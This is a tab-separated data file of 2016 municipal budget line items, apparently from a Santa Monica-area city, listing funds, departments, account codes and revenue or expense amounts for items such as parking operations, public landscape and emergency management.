21747	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	12520	0	0	0	0	0	0	0	0	0	0	0	12520
21748	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	566650.0	MALL MAINTENANCE	808.0	 Supplies and Expenses	2016	151880	0	0	0	0	0	0	0	0	0	0	0	151880
21749	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	555850.0	PROGRAM SUPPLIES	804.0	 Supplies and Expenses	2016	250000	0	0	0	0	0	0	0	0	0	0	0	250000
21750	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
21751	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2016	72	0	0	0	0	0	0	0	0	0	0	0	72
21752	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2016	30	0	0	0	0	0	0	0	0	0	0	0	30
21753	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21754	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21755	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	4100	0	0	0	0	0	0	0	0	0	0	0	4100
21756	BA	IS	44	SCAQMD AB 2766 Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21757	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405240.0	HOUSEHOLD HAZARDOUS WASTE	650.0	Charges for Service	2016	-3600	0	0	0	0	0	0	0	0	0	0	0	-3600
21758	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	1334	0	0	0	0	0	0	0	0	0	0	0	1334
21759	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	403921.0	TEA 21 CAL INCLINE CONSTRUCTIO	610.0	Intergovernmental	2016	-890147	0	0	0	0	0	0	0	0	0	0	0	-890147
21760	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408641.0	CO ESPLANADE - STPL	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21761	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2016	-1253000	0	0	0	0	0	0	0	0	0	0	0	-1253000
21762	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2016	-624000	0	0	0	0	0	0	0	0	0	0	0	-624000
21763	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2016	-969000	0	0	0	0	0	0	0	0	0	0	0	-969000
21764	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	1678	0	0	0	0	0	0	0	0	0	0	0	1678
21765	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577503.0	TRANSFER FROM FUND 15	908.0	 Supplies and Expenses	2016	-247642	0	0	0	0	0	0	0	0	0	0	0	-247642
21766	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2016	-51480	0	0	0	0	0	0	0	0	0	0	0	-51480
21767	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2016	-3157572	0	0	0	0	0	0	0	0	0	0	0	-3157572
21768	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	405170.0	CAM FEES	650.0	Charges for Service	2016	-424191	0	0	0	0	0	0	0	0	0	0	0	-424191
21769	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408471.0	PEDICAB VEHICLE PERMITS	608.0	Licenses and Permits	2016	-2382	0	0	0	0	0	0	0	0	0	0	0	-2382
21770	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408472.0	PEDICAB DRIVER PERMITS	608.0	Licenses and Permits	2016	-2555	0	0	0	0	0	0	0	0	0	0	0	-2555
21771	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2016	3573	0	0	0	0	0	0	0	0	0	0	0	3573
21772	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
21773	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522920.0	VEHICLES - REPAIRS	810.0	 Supplies and Expenses	2016	1558	0	0	0	0	0	0	0	0	0	0	0	1558
21774	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410150.0	BIKE RACKS	612.0	Charges for Service	2016	-962	0	0	0	0	0	0	0	0	0	0	0	-962
21775	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	410170.0	SIGN REMOVAL	612.0	Charges for Service	2016	-6000	0	0	0	0	0	0	0	0	0	0	0	-6000
21776	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	55332	0	0	0	0	0	0	0	0	0	0	0	55332
21777	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533123.0	CITY YARDS CNG STN MAINT	808.0	 Supplies and Expenses	2016	15450	0	0	0	0	0	0	0	0	0	0	0	15450
21778	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533124.0	CITY YARDS CONV FUEL STN MAINT	808.0	 Supplies and Expenses	2016	5150	0	0	0	0	0	0	0	0	0	0	0	5150
21779	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2016	20000	0	0	0	0	0	0	0	0	0	0	0	20000
21780	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21781	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	31332	0	0	0	0	0	0	0	0	0	0	0	31332
21782	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	14694	0	0	0	0	0	0	0	0	0	0	0	14694
21783	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2016	720	0	0	0	0	0	0	0	0	0	0	0	720
21784	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2016	332	0	0	0	0	0	0	0	0	0	0	0	332
21785	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2016	35000	0	0	0	0	0	0	0	0	0	0	0	35000
21786	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408120.0	LA MARATHON	622.0	Other	2016	-165000	0	0	0	0	0	0	0	0	0	0	0	-165000
21787	BA	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2016	-550000	0	0	0	0	0	0	0	0	0	0	0	-550000
21788	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555700.0	REGULATORY AGENCY FEES	808.0	 Supplies and Expenses	2016	8000	0	0	0	0	0	0	0	0	0	0	0	8000
21789	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563160.0	WISE FTA GRANT	810.0	 Supplies and Expenses	2016	40103	0	0	0	0	0	0	0	0	0	0	0	40103
21790	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	910.0	 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
21791	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	400774.0	1630 17TH ST SUBLEASE	618.0	Rentals	2016	-116155	0	0	0	0	0	0	0	0	0	0	0	-116155
21792	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2016	-1885000	0	0	0	0	0	0	0	0	0	0	0	-1885000
21793	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
21794	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544390.0	OTHER COSTS	804.0	 Supplies and Expenses	2016	10200	0	0	0	0	0	0	0	0	0	0	0	10200
21795	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2016	1500000	0	0	0	0	0	0	0	0	0	0	0	1500000
21796	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2016	1857500	0	0	0	0	0	0	0	0	0	0	0	1857500
21797	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2016	12750	0	0	0	0	0	0	0	0	0	0	0	12750
21798	BA	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577503.0	TRANSFER TO FUND 01	910.0	 Supplies and Expenses	2016	247642	0	0	0	0	0	0	0	0	0	0	0	247642
21799	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408660.0	INTERFUND SERVICES-BEACH FUND	612.0	Charges for Service	2016	-199825	0	0	0	0	0	0	0	0	0	0	0	-199825
21800	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400030.0	PROPERTY TAXES-CLRR-AIRCRAFT	602.0	Property Taxes	2016	-326000	0	0	0	0	0	0	0	0	0	0	0	-326000
21801	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2016	-998272	0	0	0	0	0	0	0	0	0	0	0	-998272
21802	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2016	-30713599	0	0	0	0	0	0	0	0	0	0	0	-30713599
21803	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400350.0	STATUATORY PASS-THROUGHS	602.0	Property Taxes	2016	-2410176	0	0	0	0	0	0	0	0	0	0	0	-2410176
21804	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400843.0	VLF SWAP	602.0	Property Taxes	2016	-9614181	0	0	0	0	0	0	0	0	0	0	0	-9614181
21805	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2016	-1382450	0	0	0	0	0	0	0	0	0	0	0	-1382450
21806	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2016	-1433025	0	0	0	0	0	0	0	0	0	0	0	-1433025
21807	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
21808	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2016	2280	0	0	0	0	0	0	0	0	0	0	0	2280
21809	BA	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-3000	0	0	0	0	0	0	0	0	0	0	0	-3000
21810	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	111501	0	0	0	0	0	0	0	0	0	0	0	111501
21811	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
21812	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	2662	0	0	0	0	0	0	0	0	0	0	0	2662
21813	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	5023	0	0	0	0	0	0	0	0	0	0	0	5023
21814	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	450052	0	0	0	0	0	0	0	0	0	0	0	450052
21815	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	408000.0	INTERFUND SERVICES-OPEN SP	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21816	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	2671319	0	0	0	0	0	0	0	0	0	0	0	2671319
21817	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	39724	0	0	0	0	0	0	0	0	0	0	0	39724
21818	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	178192	0	0	0	0	0	0	0	0	0	0	0	178192
21819	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	73859	0	0	0	0	0	0	0	0	0	0	0	73859
21820	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	851	0	0	0	0	0	0	0	0	0	0	0	851
21821	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2016	26836	0	0	0	0	0	0	0	0	0	0	0	26836
21822	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
21823	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522160.0	TRANSFER STATION FEE	810.0	 Supplies and Expenses	2016	1216	0	0	0	0	0	0	0	0	0	0	0	1216
21824	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2016	136388	0	0	0	0	0	0	0	0	0	0	0	136388
21825	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2016	-40000	0	0	0	0	0	0	0	0	0	0	0	-40000
21826	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407202.0	ROSIE'S GIRLS-MATERIALS FEES	622.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21827	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2016	-55909000	0	0	0	0	0	0	0	0	0	0	0	-55909000
21828	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2016	8621	0	0	0	0	0	0	0	0	0	0	0	8621
21829	BA	IS	4	Special Revenue Source Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
21830	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562703.0	HOSPITALITY TRAINING ACADEMY		 Supplies and Expenses	2016	56832	0	0	0	0	0	0	0	0	0	0	0	56832
21831	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533125.0	BEACH FAC FUEL STN MAINT	808.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
21832	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	544090.0	MEDICAL/FIRST AID SUPPLIES	808.0	 Supplies and Expenses	2016	1950	0	0	0	0	0	0	0	0	0	0	0	1950
21833	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	67591	0	0	0	0	0	0	0	0	0	0	0	67591
21834	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511490.0	OVERTIME	808.0	Salaries and Wages	2016	4529	0	0	0	0	0	0	0	0	0	0	0	4529
21835	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	125	0	0	0	0	0	0	0	0	0	0	0	125
21836	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400308.0	VALET PARKING METER RENTAL	608.0	Licenses and Permits	2016	-616025	0	0	0	0	0	0	0	0	0	0	0	-616025
21837	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2016	-7273000	0	0	0	0	0	0	0	0	0	0	0	-7273000
21838	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2016	-808000	0	0	0	0	0	0	0	0	0	0	0	-808000
21839	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	410050.0	SCE OBF INCTV	622.0	Other	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21840	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522560.0	DOWNTOWN ADVERTISING	804.0	 Supplies and Expenses	2016	52500	0	0	0	0	0	0	0	0	0	0	0	52500
21841	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2016	681858	0	0	0	0	0	0	0	0	0	0	0	681858
21842	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563161.0	FTA NEW FREEDOM GRANT	810.0	 Supplies and Expenses	2016	46175	0	0	0	0	0	0	0	0	0	0	0	46175
21843	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2016	-10000	0	0	0	0	0	0	0	0	0	0	0	-10000
21844	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	408470.0	PEDICAB OPERATOR PERMITS	608.0	Licenses and Permits	2016	-1210	0	0	0	0	0	0	0	0	0	0	0	-1210
21845	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2016	20008	0	0	0	0	0	0	0	0	0	0	0	20008
21846	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-20996	0	0	0	0	0	0	0	0	0	0	0	-20996
21847	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	14045	0	0	0	0	0	0	0	0	0	0	0	14045
21848	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2016	4524	0	0	0	0	0	0	0	0	0	0	0	4524
21849	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	495375	0	0	0	0	0	0	0	0	0	0	0	495375
21850	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21851	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	3396	0	0	0	0	0	0	0	0	0	0	0	3396
21852	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	10102	0	0	0	0	0	0	0	0	0	0	0	10102
21853	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	515983	0	0	0	0	0	0	0	0	0	0	0	515983
21854	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2016	11214	0	0	0	0	0	0	0	0	0	0	0	11214
21855	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	17736	0	0	0	0	0	0	0	0	0	0	0	17736
21856	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511498.0	OT PARAMEDIC SCHOOL	806.0	Salaries and Wages	2016	465967	0	0	0	0	0	0	0	0	0	0	0	465967
21857	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2016	2801	0	0	0	0	0	0	0	0	0	0	0	2801
21858	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	544080.0	LICENSE TAGS / STICKERS	806.0	 Supplies and Expenses	2016	1194	0	0	0	0	0	0	0	0	0	0	0	1194
21859	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555250.0	MEDICAL SERVICES	806.0	 Supplies and Expenses	2016	129489	0	0	0	0	0	0	0	0	0	0	0	129489
21860	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404290.0	MEASURE R LOCAL RETURN	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21861	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21862	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2016	-223000	0	0	0	0	0	0	0	0	0	0	0	-223000
21863	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	401090.0	INDIRECT COSTS	612.0	Charges for Service	2016	-11528070	0	0	0	0	0	0	0	0	0	0	0	-11528070
21864	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2016	-66000	0	0	0	0	0	0	0	0	0	0	0	-66000
21865	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21866	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2016	-282394	0	0	0	0	0	0	0	0	0	0	0	-282394
21867	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2016	-3715000	0	0	0	0	0	0	0	0	0	0	0	-3715000
21868	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404330.0	KEN EDWARDS CENTER PARKING	608.0	Licenses and Permits	2016	-28890	0	0	0	0	0	0	0	0	0	0	0	-28890
21869	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408240.0	PARKING STRUCTURE 10	608.0	Licenses and Permits	2016	-289000	0	0	0	0	0	0	0	0	0	0	0	-289000
21870	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	2872	0	0	0	0	0	0	0	0	0	0	0	2872
21871	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	42008	0	0	0	0	0	0	0	0	0	0	0	42008
21872	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	3236	0	0	0	0	0	0	0	0	0	0	0	3236
21873	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	510000.0	SALARIES AND WAGES	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
